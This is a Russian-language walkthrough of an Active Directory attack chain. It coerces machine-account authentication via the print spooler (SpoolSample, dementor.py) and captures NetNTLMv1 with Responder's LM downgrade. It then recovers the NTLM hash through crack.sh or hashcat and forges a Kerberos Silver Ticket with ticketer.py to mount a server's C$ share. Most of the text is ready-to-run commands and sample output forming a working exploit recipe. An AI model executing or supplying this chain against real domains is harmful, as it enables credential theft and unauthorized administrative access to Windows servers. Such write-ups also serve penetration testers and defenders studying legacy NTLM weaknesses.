
SpoolSample -> Responder w/NetNTLM Downgrade -> NetNTLMv1 -> NTLM -> Kerberos Silver Ticket
Эта техника упоминалась другими, но я не видел ничего цельного. Ниже мы пройдёмся по шагам получения аутентификации NetNTLMv1 Challenge/Response, восстановления из неё NTLM-хэшей и использования этого NTLM-хэша для подписания Kerberos Silver Ticket.
Это будет работать в сетях, где «уровень проверки подлинности LAN Manager» установлен на 2 или ниже. Это довольно распространённый сценарий в старых крупных развёртываниях Windows. Оно не должно работать на Windows 10 / Server 2016 и новее.
Получить ответ NetNTLMv1 от учётной записи машины с помощью SpoolSample от @tifkin_'s (Lee Christensen)
Восстановить из этого ответа NetNTLMv1 NTLM-хэш с помощью Rainbow Tables от @0x31337's (David Hulton)
Сгенерировать Silver Ticket, используя полученный NTLM-хэш, с помощью ticketer.py от @agsolino's (Albert Solino)
С помощью Powershell получите список машин Windows. Серверы обычно в приоритете, так что сосредоточимся на них:
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
Используя слегка модифицированный SpoolerScanner от @mysmartlogin's (Vincent Le Toux), проверьте, слушает ли служба Spooler:
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
На Linux также можно использовать rpcdump.py и искать протокол MS-RPRN:
rpcdump.py DOMAIN/USER:[email protected] | grep MS-RPRN
./Responder.py -I eth0 --lm
SpoolSample.exe TARGET RESPONDERIP
или используйте dementor.py от 3xocyte, если вы на Linux:
python dementor.py -d domain -u username -p password RESPONDERIP TARGET
Пример ответа:
[SMB] NTLMv1 Client : 10.0.0.2
[SMB] NTLMv1 Username : DOMAIN\SERVER$
[SMB] NTLMv1 Hash : SERVER$::DOMAIN:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972:1122334455667788
Вы можете использовать Rainbow Tables для обратного преобразования NTHASH в NTLM, или разложить его на составляющие DES и взломать с помощью hashcat.
Установка из 8 видеокарт 1080 может перебрать это за 6 дней, так что стоит рассмотреть Rainbow Tables.
Для Rainbow Tables существует сервис по адресу https://crack.sh/netntlm/, который бесплатно восстанавливает NTLM из NetNTLMv1. Он предоставлен David Hulton из Toorcon. Мы работаем над локальной копией rainbow tables и программного обеспечения, которое не требует FPGA для поиска.
Для crack.sh формат такой: NTHASH:(response), то есть NTHASH:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972 из примера.
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
Это вернёт следующий вывод с инструкциями:
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595
To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
To Crack with crack.sh use the following token
NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
Вам понадобится несколько фрагментов информации: SPN сервиса, к которому хотите получить доступ, SID домена, SID учётной записи домена и имя учётной записи с правами локального администратора, а также группа домена, в которой состоит пользователь, если администраторство основано на группах.
Для сервиса чаще всего используется cifs/, так как он отображается на сервис HOST/
./ticketer.py -nthash 09e55a127f3d4e4957c77de30000502a -domain-sid S-1-5-21-7375663-6890924511-1272660413 -domain DOMAIN.COM -spn cifs/SERVER.DOMAIN.COM -user-id 123456 -groups 4321 username
export KRB5CCNAME=/root/Assessments/NTLMTest/USERNAME.ccache
smbclient -k //SERVER.DOMAIN.COM/c$ -d
Распространить 6 ТБ Rainbow Tables
Модифицировать desrtop от @0x31337, чтобы не требовался FPGA
Найти больше способов удалённо инициировать аутентификацию учётной записи машины